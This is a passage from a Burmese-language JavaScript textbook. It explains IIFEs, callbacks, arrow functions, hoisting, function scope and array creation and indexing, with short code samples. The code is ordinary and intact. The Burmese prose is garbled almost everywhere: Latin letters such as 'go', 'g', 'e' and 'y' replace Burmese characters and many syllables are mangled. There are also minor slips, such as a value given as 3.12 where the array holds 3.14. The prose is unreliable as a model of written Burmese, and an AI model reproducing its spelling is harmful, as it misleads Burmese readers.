Expression ကြေရးနည်းတစ်မျ ို းလည်း ရှိပါကြေသးတယ်။ ဒီလုိပါ –

(function () {
    console.log("Hello, World")
})()

// Hello, World

a + b Expression ကို လုိအပ်ရင် ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ (a + b) လုိ့ ထည့်ကြေရးနိုင်သလုိပဲ Function
Expression  ကိုလည်း  ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ  ထည့်လုိက်တာပါ။  ပြပီးကြေတာ့မှ  ကြေနာက်ကကြေန
ကြေနာက်ထပ်  ဝုိက်ကွင်းအoွင့်အပိတ်  တွဲကြေပးလုိက်တဲ့အခါ  ဒီ  Function  Expression  ကို  ချက်ချင်းကြေခါ်ယူ
အလုပ်လုပ်ကြေစလုိက်တဲ့ သကြေyာgoစ်သွားပါကြေတာ့တယ်။

ပုံမှန်အားgoင့်  Function  ဆိုတာ  ကြေeကညာလုိက်ယုံနဲ့  အလုပ်မလုပ်ပါyူး။  ကြေခါ်ယူအသုံးgပုကြေတာ့မှသာ
အလုပ်လုပ်တာပါ  IIFE  ကြေရးထုံးကို  အသုံးgပုကြေရးသားထားတဲ့  Function  ကကြေတာ့  ချက်ချင်းကြေနရာတင်
အလုပ်လုပ်သွားတဲ့ Function တစ်ခုgoစ်သွားတာပါ။

Function Expression ကြေတွကို ကြေနာက်ထပ်အသုံးများတဲ့ နည်းတစ်ခုရှိပါကြေသးတယ်။ ဒီလုိပါ –

 JavaScript 

function twice(num, fun) {
    let result = fun(num)
    return result * 2
}

နမူနာ twice Function ကို ကြေသချာင်္ဂရုစိုက်eကည့်ပါ။ Parameter (၂) ခုပါဝင်ပါတယ်။ num နဲ့  fun တို့
ပါ။  num ဟာ Number goစ်ရမှာgoစ်ပြပီး၊  fun ကကြေတာ့ Function goစ်ရမှာပါ။ ဒါကြေeကာင့် twice ကိုကြေခါ်
ယူတဲ့အခါ ကြေပးရမယ့် တန်oုိးအမျ ို းအစားကြေတွက ဒီလုိgoစ်ပါလိမ့်မယ်။
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twice(Number, Function)

Number ကြေတွအတွက် နှစ်သက်ရာ Number တန်oုိးကြေပးနိုင်ပြပီး Function အတွက် Function Expression
တစ်ခုကို ကြေပးနိုင်ပါတယ်။ ဒါကြေeကာင့် အခုလုိ ကြေခါ်ယူအသုံးနိုင်ပါတယ်။

 JavaScript 

twice(5, function(x) {
    return x + 1
})

num အတွက်  5  ကိုကြေပးထားပါတယ်။  fun အတွက်  x  ကို  1  တိုးကြေပးတဲ့  Function  ကိုကြေပးထားပါတယ်။
မူလ twice Function နဲ့ gပန်တွဲပြပီးeကည့်ပါ။

function twice(num, fun) {
    let result = fun(num)
    return result * 2
}

လက်ရှိ num = 5 goစ်ပါတယ်။ ဒါကြေeကာင့် fun(5) ပါ။ fun ရဲ့ x = 5 goစ်သွားပါပြပီ။ 1 တိုးပြပီး gပန်ကြေပး
တဲ့အတွက် 6 ကိုရပါတယ်။ result = 6 goစ်သွားပါပြပီ။ ပြပီးကြေတာ့မှ result ကို 2 နဲ့ ကြေgမှာက်ကြေပးလုိက်
တာ goစ်လုိ ့ကြေနာက်ဆံုးရလဒ် 6 * 2 = 12 ကို ရမှာပဲ goစ်ပါတယ်။

ဒီနည်းနဲ့  Function  ကို  ကြေခါ်ယူအသုံးgပုစဉ်မှာ  Function Expression  ကို  Argument  အကြေနနဲ့  ထည့်သွင်း
ကြေပးနိုင်gခင်းgoစ်ပါတယ်။ ဒီသကြေyာသyာဝကို   Callback   လုိ့ကြေခါ်ပါတယ်  ။ Function တစ်ခုကို ကြေခါ်ယူစဉ်မှာ
ဒီ  Function  ကို  ထပ်ဆင့်  gပန်ကြေခါ်သုံးကြေပးပါလုိ့  ကြေgပာလုိရ့သွားတာပါ။  အစီအစဉ်အတိုင်း၊  အစဉ်အလုိက်
အလုပ်လုပ်တာ မဟုတ်ကြေတာ့လုိ့ မျက်စိကြေတာ့ လည်သွားနိုင်ပါတယ်။ ကြေနာက်တစ်ကြေခါက်ကြေလာက် gပန်eကည့်
eကည့်လုိက်ပါ။  တစ်ခါကြေလာက်  ကြေသချာgမင်သွားပြပီဆိုရင်ကြေတာ့  ကြေနာင်ဒီသကြေyာသyာဝကို  ကြေတွ့ တိုင်း
အလွယ်တကူ gမင်သွားပါလိမ့်မယ်။
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ဒီနည်းကကြေပးတဲ့  အားသာချက်ကကြေတာ့  JavaScript  Function  ကြေတွဟာ  ကြကိုကြေရးထားတဲ့အတိုင်း  ပံုကြေသ
မဟုတ်ကြေတာ့yဲ ကြေခါ်ယူချနိ်မှာ လုိအပ်သလုိ ကြေgပာင်းလဲအလုပ်လုပ်ကြေစနိုင်တဲ့  Function ကြေတွ goစ်သွားကြေတာ့
တာပါပဲ။ ဥပမာ - ကြေစာကြေစာက twice Function ကို အခုလုိလည်း ကြေခါ်ယူနိုင်မှာ goစ်ပါတယ်။

 JavaScript 

twice(5, function(x) {
    return x * x
});

// 50

ကြေပးလုိက်တဲ့ num တန်oုိးမကြေgပာင်းပါyူး။ 5 ပါပဲ။ ဒါကြေပမယ့် ရလဒ်ကြေတာ့ လံုးဝကြေgပာင်းသွားပါပြပီ။ yာgoစ်လုိ့
လဲဆိုကြေတာ့ ကြေခါ်သုံးoုိ့ကြေပးလုိက်တဲ့ Callback Function ရဲ့အလုပ်လုပ်ပံု ကြေgပာင်းသွားတဲ့ အတွက်ကြေeကာင့်ပါ။

တစ်ကယ်ကြေတာ့ JavaScript Function ကြေတရွဲ့ သကြေyာသyာဝဟာ ကျယ်gပန့်လှပါတယ်။ Function တစ်
ခုရဲ့  အတွင်းမှာ  ထပ်ဆင့်ရှိကြေနတဲ့  Nested  Function  ကြေတွရဲ့  သကြေyာသyာဝကြေတွ၊  Closure  လုိ့ကြေခါ်တဲ့
ထူးgခားတဲ့  Variable  Scope  သကြေyာသyာဝကြေတွ၊  Recursive  Function  သကြေyာသyာဝကြေတွ၊  this
Keyword  Binding  လုိ့ကြေခါ်တဲ့  ရှုပ်ကြေထွးတဲ့  ကိစ္စကြေတွ  ကျန်ပါကြေသးတယ်။  ဒါကြေပမယ့်  ဒီအဆင့်မှာ  အ့ဲဒီ
အကြေeကာင်းကြေတွကြေgပာoုိ့ကြေတာ့ ကြေစာကြေနပါကြေသးတယ်။ ဒါကြေeကာင့် လက်ရှိကြေgပာထားသကြေလာက်နဲ့ ဆက်ကြေgပာမယ့်
သကြေyာသyာဝကြေတွကို  အရင်ကြေကျညက်နားလည်ကြေအာင်  eကည့်ထားပြပီး  ကြေနာက်ပုိင်းမှာ  ဒီထက်ပုိ  ဆန်း
ကျယ်တာကြေတွ ဆက်ကြေလ့လာoုိ့ ကျန်ကြေနကြေသးတယ်လုိ ့မှတ်သားထားကြေပးပါ။

Arrow Functions
ဆက်လက်ပြပီး  Function  Expression  ကြေတွကို  အတိုကြေကာက်ကြေရးနည်းရှိလုိ့  ဆက်eကည့်eကပါမယ်။
Function Keyword အစား Arrow သကြေက[တကြေလးနဲ့ အစားထုိးပြပီး ကြေရးရလုိ့ Arrow Function လုိ့ ကြေခါ်eကပါ
တယ်။ ပံုမှန်  Function  Expression  တစ်ခုကို  Variable  တစ်ခုမှာ  Assign  လုပ်လုိတဲ့အခါ  ဒီလုိကြေရးရပါ
တယ်။
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 JavaScript 

let add = function(a, b) {
    return a + b
}

ဒါကို အတိုကြေကာက်အားgoင့် အခုလုိ ကြေရးနိုင်ပါတယ်။

 JavaScript 

let add = (a, b) => {
    return a + b
}

ဝုိက်ကွင်းအoွင့်အပိတ်ကြေရှ့မှာ function မပါကြေတာ့yဲ ဝုိက်ကွင်းအoွင့်အပိတ်ကြေနာက်မှာ Arrow => ကြေလး
ထည့်လုိက်တာပါ။  Arrow  Function  ရဲ့  ထူးgခားချက်ကကြေတာ့၊  Statement  တစ်ခုထဲဆိုရင်  တွန့်ကွင်း
အoွင့်အပိတ်နဲ့ return Keyword ကို မထည့်yဲ ထားလုိရ့gခင်းပဲ goစ်ပါတယ်။ ဒါကြေeကာင့် အခုလုိ goစ်သွား
မှာပါ။

 JavaScript 

let add = (a, b) => a + b

ကြေတာ်ကြေတာ်ကြေလးကို  တိုကြေတာင်းကျစ်လစ်တဲ့  ကြေရးဟန်တစ်ခုgoစ်သွားတာမုိလုိ့့  အလွန်ကြကိုက်eကပါတယ်။
ကြေနာက်တစ်ချက်အကြေနနဲ့  Parameter တစ်ခုထဲဆိုရင် ဝုိက်ကွင်းအoွင့်အပိတ်ကို မထည့်yဲကြေရးလုိရ့ပါတယ်။
ပုိတိုသွားဦးမှာပါ။ ဒီလုိပါ –

 JavaScript 

let two = n => n * 2

ဟိုးကြေရှ့မှာကြေgပာခဲ့သလုိ  ကုဒ်ကြေတွရဲ့  အလုပ်လုပ်ပံုကို  ကြေခါင်းထဲမှာ  ပံုကြေoာ်eကည့်နိုင်oုိ့  အကြေရးကြကီးလှပါတယ်။
တိုလွန်းလုိ့  ပံုကြေoာ်eကည့်ရ  ခက်သွားမှာစိုးလုိ့  ရုိးရုိး  Function  နဲ့  နိှုင်းယှဉ်စဉ်းစားနိုင်oုိ့  ကြေoာ်gပခဲ့တာပါ။
လုိရင်းအချုပ် (၃) ချက်မှတ်ရင် ရပါပြပီ။
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1. ဝုိက်ကွင်းအoွင့်အပိတ်ကြေရှ့က  function ကိုoယ်ပြပီး  ဝုိက်ကွင်းအoွင့်အပိတ်ကြေနာက်မှာ  =>
သကြေက[တ ကြေလး ထည့်ကြေပးလုိက်ပါတယ်။

2. Function မှာ Statement တစ်ကြေeကာင်းyဲရှိရင် တွန့်ကွင်းအoွင့်အပိတ်နဲ့  return ကို မထည့်yဲ
ကြေရးလုိရ့ပါတယ်။ အလုိအကြေလျှာက် return gပန်ကြေပးပါတယ်။

3. Parameter က တစ်ခုထဲဆိုရင် ဝုိက်ကွင်းအoွင့်အပိတ်ကို မထည့်yဲထားလုိ ့ရပါတယ်။

Parameter မရှိရင်ကြေတာ့ ဝုိက်ကွင်းအoွင့်အပိတ် အလွတ်ကို ထည့်ကြေပးoုိ ့လုိအပ်ပါတယ်။

 JavaScript 

let hello = () => "Hello, World"

ဒါကြေeကာင့်  တစ်ချ ို ့ကလည်း  ဝုိက်ကွင်းအoွင့်အပိတ်အလွတ်ထည့်ရတာ  ရှုပ်တယ်  ထင်eကပုံ  ရပါတယ်။
Parameter မရှိရင် Underscore ကို Parameter တစ်ခုအကြေနနဲ့ ကြေပးပြပီးကြေရးeကပါတယ်။ ဒါကြေeကာင့် ရံoန်ရံခါ
ဒီလုိကုဒ်မျ ို းကို ကြေတွ့ရနိုင်ပါတယ်။

 JavaScript 

let hello = _ => "Hello, World"

Parameter  မရှိရင်  ဝုိက်ကွင်းအoွင့်အပိတ်  ထည့်မယ့်အစား  Underscore  ကို  Parameter  တစ်ခုသoွယ်
အစားထုိးပြပီး  ကြေရးလုိက်တဲ့သကြေyာပါ။  ဟိုးအကြေပါ်မှာ  Callback  အတွက်  နမူနာgပခဲ့တဲ့  Function  ကုဒ်ကို
Arrow Function နဲ့ ကြေgပာင်းကြေရးeကည့်ပါမယ်။ ဒီလုိပါ – 

 JavaScript 

// Original Function
function twice(num, fun) {
    let result = fun(num)
    return result * 2
}

// Arrow Function
let twice = (n, f) => f(n) * 2
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ကြေတာ်ကြေတာ်ကြေလးကို  တိုကြေတာင်းကျစ်လစ်သွားတာကို  ကြေတွ့ရနိုင်ပါတယ်။  ဒီသကြေyာကြေတွကြေeကာင့်ပဲ  အခု
ကြေနာက်ပုိင်းမှာ  Arrow Function  ကြေတွကို  ကြေတာ်ကြေတာ်ကြကိုက်eကသလုိ ကြေနရာအနှံအ့gပားမှာလည်း သံုးeကပါ
တယ်။  ဒါကြေeကာင့်  အတိုကြေကာက်ကြေရးထားတဲ့  Arrow Function  ကုဒ်ကြေတွကိုgမင်ရင်  နားလည်oုိ့  လုိအပ်ပါ
တယ်။  ရုိးရုိး  Function  နဲ့  အသားကျပြပီးသား  အကြေတွ့ အကြကံု  အထုိက်အကြေလျှာက်  ရှိသူကြေတွဟာ  Arrow
Function ကြေတွကို gမင်တဲ့အခါ မူလအသားကျပြပီးသားနဲ ့ကွဲလဲွကြေနလုိ့ နားလည်ရခက်ကြေနတတ်eကပါတယ်။ 

Function Hoisting
ဟိုးကြေရှ့မှာ Variable Hoisting အကြေeကာင်းကြေလး ထည့်ကြေgပာခဲ့ပါတယ်။ Variable ကြေတွကို  var Keyword နဲ့
ကြေeကညာလုိက်တဲ့အခါ JavaScript က အကြေပါ်ကိုပုိ့ကြေပးပြပီး အလုပ်လုပ်တဲ့ သကြေyာမျ ို းပါ။ ဒီလုိပါ –

 JavaScript 

var r = a + b
var a = 1
var b = 2

အရင်သုံးပြပီး  ကြေနာက်မှကြေeကညာလုိက်တာပါ။  ဒီလုိအကြေgခအကြေနမျ ို းမှာ  JavaScript  က ကုဒ်ကို  အခုလုိ  ပံုစံ
ကြေgပာင်းပြပီး အလုပ်လုပ်ကြေပးသွားမှာပါ။

 Pseudocode 

var a
var b
var r = a + b
a = 1
b = 2

ရလဒ်ကကြေတာ့ မှန်မှာမဟုတ်ပါyူး။ ဒါကြေပမယ့် Hoisting သုိမ့ဟုတ် Lifting လုိ့ကြေခါ်တဲ့ သကြေyာသyာဝအရ
ကြေeကညာချက်ကို အလုိအကြေလျှာက် အကြေပါ်ကိုပုိ့ကြေပးလုိက်တာကို သိထားoုိ့ပါ။ var Keyword ကို သံုးမှပဲ ဒီ
သကြေyာမျ ို းနဲ့  အလုပ်လုပ်ကြေပးပါတယ်။  let တို့  const တိုန့ဲ့  ကြေeကညာရင်ကြေတာ့ ကြေရးထားတဲ့  အစီအစဉ်
အတိုင်းသာ အလုပ်လုပ်သွားမှာပါ။
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Function  ကြေတွမှာလည်း  Hoisting  သကြေyာသyာဝ  ရှိပါတယ်။  ဒါကြေeကာင့်  Function    ကို  အရင်သံုးပြပီး  
ကြေနာက်မှ ကြေeကညာလုိရ့ပါတယ်။ ဒီလုိပါ –

 JavaScript 

add(1, 2)    // 3

function add(a, b) {
    return a + b
}

ဒီကုဒ်ဟာ အလုပ်လုပ်ပါတယ်။  add Function  ကို  မကြေeကညာရကြေသးခင်ကတည်းက ယူသံုးထားကြေပမယ့်
JavaScript က အလုပ်လုပ်တဲ့အခါ add Function ကြေeကညာချက်ကို အကြေပါ်တင်ကြေပးလုိက်ပြပီး အလုပ်လုပ်
သွားမှာ မုိလုိ့ပ့ါ။ ဒါကြေပမယ့် ဒီလုိဆိုရင်ကြေတာ့ ရမှာ မဟုတ်ပါyူး – 

 JavaScript 

add(1, 2)    // Error: add is not defined

let add = function(a, b) {
    return a + b
}

Function Expression နဲ့ကြေရးသားပြပီး  add Variable ထဲမှာ Assign လုပ်လုိက်တာပါ။ အလုပ်မလုပ်ပါyူး။
yာgoစ်လုိလဲ့ဆိုကြေတာ့  let နဲ့  ကြေeကညာထားတဲ့  add ကို  JavaScript  က Hoist/Lift  လုပ်ပြပီး တင်ကြေပးမှာ
မဟုတ်တဲ့အတွက်  add Function  ကို ကြေခါ်သုံးစဉ်မှာ  Function  မရှိကြေသးလုိ့  Error  တက်သွားမှာပဲ goစ်ပါ
တယ်။

Name Conflict
Function Name  ကြေတဟွာ အမည်တူလုိမ့ရyူး  ဆိုတဲ့အချက်ကိုလဲ  goည့်စွက်မှတ်သားသင့်ပါတယ်။ ရှိပြပီး
သား  Function  ကို  ကြေနာက်တစ်ခါ  ထပ်ကြေeကညာလုိ့  မရyူးလုိ့  ကြေgပာတာပါ။  တစ်ချ ို ့  Language  ကြေတွမှာ
အမည်တူ  ကြေeကညာမိရင်  တစ်ခါထဲ  Error  goစ်ပါတယ်။  JavaScript  မှာ  အမည်တူ  ကြေeကညာမိလုိ့  Error
ကြေတာ့မgoစ်ပါyူး။ ဒါကြေပမယ့် ကြေနာက်မှကြေရးတဲ့    Function   ကို အတည်ယူသွားမှာ   goစ်လုိ့ အမည်တူတဲ့ အရင်
ကြေရးထားတဲ့ Function ကြေတွက အလုပ်လုပ်ကြေတာ့မှာ မဟုတ်ပါyူး။
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Variable Scope
Variable ကြေတွအကြေeကာင်းကြေgပာတံုးက Block Scope Variable အကြေeကာင်းကြေgပာခဲ့ပါတယ်။ Function Scope
အကြေeကာင်းကြေလး goည့်စွက်ကြေgပာoုိလုိ့ပါကြေသးတယ်။ အကြေgခခံအားgoင့် Function တစ်ခုအတွင်းထဲမှာ ကြေeကညာ
ထားတဲ့  Variable ကို  Function ရဲ့gပင်ပနဲ့ အgခား Function များက ရယူအသံုးgပုခွင့်မရှိပါyူး။ Function
ထဲမှာ ကြေeကညာထားတဲ့  Variable  ဟာ အ့ဲဒီ  Function  နဲ့သာ သက်ဆိုင်ပါတယ်။  Function  ရဲ့  gပင်ပမှာ
ကြေeကညာထားတဲ့  Variable  ကြေတွကိုကြေတာ့  Global  Variable  လုိ့ကြေခါ်ပါတယ်။  လုိအပ်တဲ့ကြေနရာကကြေန ရယူ
အသုံးgပုနိုင်ပါတယ်။

 JavaScript 

let name = "Alice"

function welcome() {
    console.log(`Welcome ${name}`)
}

function hello() {
    console.log(`Hello ${name}`)
}

welcome()    // Welcome Alice
hello()    // Hello Alice

နမူနာမှာeကည့်လုိက်ရင်  Function  ကြေတွရဲ့gပင်ပမှာ  ကြေeကညာထားတဲ့  name ကို  Function  ကြေတွထဲမှာ
အသုံးgပုထားတာကို  ကြေတွ့ ရနိုင်ပါတယ်။  ဒီလုိ  Global  Variable    ကြေတွဟာ  အန္တရာယ်ကြေတာ့  များပါတယ်  ။
Function တိုင်းက သုံးလုိရ့ကြေနကြေတာ့ Function တစ်ခုကြေeကာင့် တန်oုိးကြေgပာင်းသွားတဲ့အခါ သူ့ကိုသံုးထားတဲ့
အgခား Function မှာ မလုိလားအပ်တဲ့ gပဿနာကြေတွ goစ်ကြေစနိုင်ပါတယ်။



PWD 2023 – အခန်း (၁၅) – JavaScript Procedures & Functions 254

 JavaScript 

function welcome() {
    let name = "Alice"
    console.log(`Welcome ${name}`)
}

function hello() {
    console.log(`Hello ${name}`)
}

welcome()    // Welcome Alice
hello()    // Hello

ဒီနမူနာမှာကြေတာ့ welcome Function ထဲမှာ name ကို ကြေeကညာထားလုိ့ ရလဒ်မှန်ကန်တာကို ကြေတွ့ ရနိုင်
ပါတယ်။  hello Function  ကလည်း  name ကို  အသုံးgပုထားပါတယ်။  ဒါကြေပမယ့်  welcome  ထဲမှာ
ကြေeကညာထားတဲ့ name ဟာ hello နဲ့ သက်ဆိုင်gခင်းမရှိတဲ့အတွက် အလုပ်မလုပ်တာကို ကြေတွ့ ရမှာပဲ goစ်
ပါတယ်။
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အခန်း (၁၆) – JavaScript Arrays & Objects

Programming Language ကြေတွမှာပါတဲ့ Object ဆိုတဲ့သကြေyာသyာဝကို နားလည်ကြေစoုိ့အတွက် gပင်ပက
ရုပ်ဝတ္ထုကြေတွနဲ့  နိှုင်းယှဉ်ပံုကြေoာ်eကည့်နိုင်ပါတယ်။ ဥပမာ  -  ပန်းသီး ဆိုတဲ့ ရုပ်ဝတ္ထုကြေလး တစ်ခုမှာ ကိုယ်ပုိင်
င်္ဂုဏ်သတ္တိတစ်ချ ို ့ရှိပါတယ်။  အခွံအနီကြေရာင်ရှိတယ်။  ချ ိုချဉတ်ဲ့အရသာရှိတယ်။  ဒါကသက်မ့ဲ  ရုပ်ဝတ္ထုကြေလး
တစ်ခုပါ။ သက်ရှိgoစ်တဲ့  ကြေeကာင်ကြေလးတစ်ကြေကာင်ဆိုရင်ကြေတာ့ အနက်ကြေရာင်အကြေမွှးအgမှင်၊  မျက်လံုးကြေလးနှစ်
လုံး၊  အပြမီးကြေလးတစ်ကြေချာင်းနဲ့  ကြေgခကြေထာက်ကြေလးကြေgခာင်း  စတဲ့  ပုိင်ဆိုင်မှုင်္ဂုဏ်သတ္တိကြေတွအgပင်၊  အသံကြေပးနိုင်
တယ်၊ ကြေgပးလွှားနိုင်တယ်၊ ကြကွက်ခုတ်နိုင်တယ်ဆိုတဲ့ အgပုအမူကြေလးကြေတွပါ ရှိသွားပါတယ်။

ပရုိင်္ဂရမ် Object ကြေတဟွာလည်း ဒီသကြေyာပါပဲ။ တစ်ချ ို ့ Object ကြေတွမှာ ကိုယ်ပုိင်င်္ဂုဏ်သတ္တိကြေလးကြေတွ ရှိeက
တယ်။  Property    လုိ့  ကြေခါ်eကကြေလ့ ရှိပါတယ်  ။  တစ်ချ ို ့ကကြေတာ့ ကိုယ်ပုိင်င်္ဂုဏ်သတ္တိအgပင်  အgပုအမူကြေလး
ကြေတွပါ ရှိeကတယ်။  Method   လုိ့ ကြေခါ်eကကြေလ့ ရှိပါတယ်  ။ ဒီလုိ  Property  ကြေတွ  Method ကြေတွ စုoဲွ့ပါဝင်တဲ့
Object ကြေတွကို ကိုယ်တိုင် တည်ကြေဆာက်ယူလုိ့ ရနိုင်သလုိ သက်ဆိုင်ရာ Language က တစ်ခါထဲ ထည့်ကြေပး
ထားတဲ့ အသင့်သုံး Standard Object ကြေတွလည်း ရှိနိုင်တယ်။

Array    ဟာ    JavaScript    ရဲ့    Standard Object    တစ်ခုgoစ်ပါတယ်  ။  သူ့မှာ  သူ့ကိုယ်ပုိင်  Property  ကြေတွနဲ့
Method ကြေတွ အသင့်ပါဝင်တယ်။ တစ်ချ ို ့ Language ကြေတွမှာကြေတာ့ Array ဆိုတာ Data Type တစ်မျ ို းgoစ်
ပါတယ်။ ရုိးရုိး  Primitive Data Type ကြေတွက တန်oုိး တစ်ခုကိုသာ လက်ခံသိမ်းဆည်းပြပီး  Array ကကြေတာ့
တန်oုိးကြေတွကို အတွဲလုိက်စုစည်းသိမ်းဆည်းနိုင်လုိ့ Compound Type သုိ့မဟုတ် Structure Type လုိ့ ကြေခါ်
eကပါတယ်။  JavaScript  မှာ ကြေတာ့  Compound Type/Structure Type  yကြေyာသyာဝမျ ို း  လုိချင်ရင်
Object  ရဲ့  Property  အgoစ် တန်oုိးကြေတွကို အတွဲလုိက် စုစည်းသိမ်းဆည်းနိုင်ပါတယ်။ တgခား  Language
ကြေတရွဲ့  Array Type  နဲ့  သကြေyာသyာဝ ဆင်တူတဲ့လုပ်ကြေဆာင်ချက်ကို  ရရှိကြေစoုိအ့တွက်  Array  လုိ့ကြေခါ်တဲ့
Standard Object တစ်ခုကို အသင့်ထည့်သွင်း ကြေပးထားတာပါ။ 
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Array  တစ်ခတုည်ကြေဆာက်oုိအ့တွက်  နည်းလမ်း  (၂)  မျ ို းရှိပါတယ်။  တစ်နည်းက  Array  Object
Constructor ကို အသုံးgပုတဲ့နည်းပါ။

 JavaScript 

let mix = new Array("Bob", 3.14, true)

new Keyword  ကိုသုံးပြပီး  Object  အသစ်ကြေတွတည်ကြေဆာက်ရပါတယ်။  Array()  လုိ့ကြေခါ်တဲ့  Standard
Object Constructor ကိုသုံးပြပီး တည်ကြေဆာက်ကြေစလုိက်တာ goစ်တဲ့အတွက်  mix ဟာ Array Object တစ်
ခုgoစ်သွားပါပြပီ။ ဒီလုိ တည်ကြေဆာက်စဉ်မှာ တန်oုိးကြေတွကိုလည်း  တစ်ခါထဲ Comma ခံပြပီး တန်းစီကြေပးလုိက်
တဲ့အတွက် mix Array ထဲမှာ Bob ဆိုတဲ့ String တန်oုိးတစ်ခု၊ 3.14 ဆိုတဲ့ Number တန်oုိးတစ်ခုနဲ့ true
ဆိုတဲ့  Boolean တန်oုိးတစ်ခု၊ စုစုကြေပါင်း တန်oုိးသုံးခုကို အတွဲလုိက် ထည့်သွင်းကြေပးထားမှာပဲ goစ်ပါတယ်။
ဒီလုိပုံစံမျ ို းပါ –

0 1 2

Bob 3.14 true

ထည့်သွင်းလုိက်တဲ့  တန်oုိးတိုင်းမှာ  ကိုယ်ပုိင်  Index  အညွှန်းကိုယ်စီလည်း  ရှိသွားမှာgoစ်ပါတယ်။  Index
အညွှန်းကြေတွဟာ အပြမဲတမ်း  0  ကစတဲ့အတွက်  Index 0  မှာ  Bob  ဆိုတဲတ့န်oုိးရှိကြေနမှာgoစ်ပြပီး  Index 1  မှာ
3.12 ဆိုတဲ့တန်oုိး ရှိကြေနမှာ goစ်ပါတယ်။ Index 2 မှာကြေတာ့ true ဆိုတဲတ့န်oုိး ရှိကြေနမှာပါ။

Array တည်ကြေဆာက်နည်း ကြေနာက်တစ်နည်းကကြေတာ့ ကြေလးကြေထာင်ကွင်း အoွင့်အပိတ်ကို အသံုးgပုgခင်းgoစ်ပါ
တယ်။  Single  Quote  /  Double  Quote  အoွင့်အပိတ်ကြေတွကို  String  တည်ကြေဆာက်ကြေပးနိုင်တဲ့  String
Literal  လုိ့ကြေခါ်ပြပီး  ကြေလးကြေထာင့်ကွင်း  အoွင့်အပိတ်ကိုကြေတာ့  Array  ကြေတတွည်ကြေဆာက်ကြေပးနိုင်တဲ့  Array
Literal လုိ ့ကြေခါ်ပါတယ်။

 JavaScript 

let mix = [ "Bob", 3.14, true ]
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ဒီနည်းနဲ ့တန်oုိး (၃) ခု အတွဲလုိက်ပါဝင်တဲ့ mix Array တစ်ခု ရသွားပါတယ်။ အကယ်၍ Array အလွတ်ကို
တည်ကြေဆာက်လုိရင်  ကြေလးကြေထာင့်ကွင်းအoွင့်နဲအ့ပိတ်ကို  အလွတ်အတိုင်း  ကြေပးလုိက်ယုံပါပဲ။  ကြေစာကြေစာက
ကြေgပာတဲ့  Array  Object  Constructor  ကိုအသုံးgပုတဲ့နည်းထက်  ဒီ  Array  Literal  ကိုသုံးရတဲ့နည်းကို  ပုိ
အသုံးများပါတယ်။ ကြေရးရတဲ့ကုဒ် ကျစ်လစ်တိုကြေတာင်းလုိပ့ါ။

JavaScript Array ကြေတွမှာ ထည့်သွင်းသိမ်းဆည်းနိုင်တဲ့  Data Type ကန့်သတ်ချက်မရှိပါyူး။ နှစ်သက်ရာ
အမျ ို းအစားကို  တွဲoက်သိမ်းဆည်းနိုင်ပါတယ်။  ပြပီးကြေတာ့  အကြေရအတွက်ပုံကြေသလည်း  မရှိပါyူး။  (၅)  ခုပဲ
ထည့်လုိရ့မယ်၊ (၁၀) ခုပဲ ထည့်လုိရ့မယ်ဆိုတာမျ ို း မရှိy၊ဲ လုိအပ်သကြေလာက် ထပ်တိုးထည့်သွင်း သွားလုိ့ ရ
နိုင်ပါတယ်။ တစ်ချ ို ့ Statically Typed Language ကြေတွမှာဆိုရင်ကြေတာ့ သိမ်းဆည်းလုိရ့တဲ့ Data Type ကို
ကြကိုတင်ကြေeကညာကြေပးoုိ့  လုိနိုင်ပြပီး  ကြကိုတင်ကြေeကညာထားတဲ့  အမျ ို းအစားကလဲွရင် တgခား အမျ ို းအစားကြေတွ
ကိုလက်ခံထည့်သွင်းကြေပးမှာ  မဟုတ်ပါyူး။  ပြပီးကြေတာ့  ပါဝင်မယ့်  အကြေရအတွက်ကို  လည်းကြကိုတင်ကြေeကညာ
ကြေပးထားoုိ့လုိအပ်နိုင်ပါတယ်။ ဥပမာ – 

 Pseudocode 

let nums [i32, 5] = [ 1, 2, 3, 4, 5 ];
let mix [str, f32, bool] = [ "Bob", 3.14, true ];

ပထမတစ်ကြေeကာင်းက i32 အမျ ို းအစား ကိန်းင်္ဂဏန်းကြေတွသိမ်းမယ်၊ (၅) ခုသိမ်းမယ်လုိ့ ကြေeကညာလုိက်တာ
ပါ။ ဒါကြေeကာင့် (၅) ခုအတိအကျသိမ်းကြေပးရမှာgoစ်သလုိ သိမ်းလုိရ့မယ့်အမျ ို းအစားကလည်း 32-bit Integer
တစ်မျ ို းထဲပဲ သိမ်းလုိရ့မှာပါ။ ကြေနာက်တစ်ကြေeကာင်းမှာကြေတာ့ String, 32-bit Float နဲ့ Boolean စုစုကြေပါင်း သုံး
ခုသိမ်းမယ်လုိ့  သတ်မှတ်ထားတဲ့အတွက်  သတ်မှတ်ထားတဲ့အတိုင်း  အတိအကျသိမ်းကြေပးရမှာပါ။  တgခား
အမျ ို းအစားကြေတွ သိမ်းလုိရ့မှာ မဟုတ်ပါyူး။ ဒါက တစ်ချ ို ့  Statically Typed Language မှာ goစ်နိုင်တာ
ကို ကြေgပာတာပါ။ JavaScript   မှာကြေတာ့ အ့ဲဒီလုိ ကန့်သတ်ချက်မျ ို းကြေတွ မရှိပါyူး  ။

Array  တစ်ခုထဲမှာ  ထည့်သွင်းထားတဲ့  တန်oုိးကြေတွကို  လုိအပ်တဲ့အခါ  Index  အညွှန်းနံပါတ်ကိုသုံးပြပီး
gပန်လည်ရယူ အသုံးgပုနိုင်ပါတယ်။
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 JavaScript 

let mix = [ "Bob", 3.14, true ]

let name = mix[0]   // Bob
let num = mix[1]   // 3.14
let out = mix[3]    // undefined

နမူနာမှာ mix Array ကြေနာက်က ကြေလးကြေထာင့်ကွင်းအတွင်းမှာ Index နံပါတ်ကိုကြေပးပြပီး Array ထဲက လုိချင်
တဲ့ တန်oုိးကို ရယူထားပါတယ်။ မရှိတဲ့ တန်oုိးကို ယူoုိ့ကြကိုးစားတဲ့အခါမှာကြေတာ့ undefined ကို ရရှိတာ
ကြေတွ့ ရမှာပဲ goစ်ပါတယ်။

တန်oုိးကြေတွgပင်လုိရင်ပဲgoစ်goစ်၊ ထပ်မံထည့်သွင်းလုိရင်ပဲgoစ်goစ် နှစ်သက်ရာ Index နံပါတ်ကြေပးပြပီး ထည့်လုိ့
ရပါတယ်။ ဒီလုိပါ – 

 JavaScript 

let mix = [ "Bob", 3.14, true ]

mix[0] = "Alice"
mix[4] = 5

မူလကြေeကညာစဉ်က တန်oုိး  (၃)  ခု  ပါပြပီး  ကြေနာက်မှ  Index  4  မှာ  တန်oုိးတစ်ခုကို  ထပ်ထည့်ထားတာပါ။
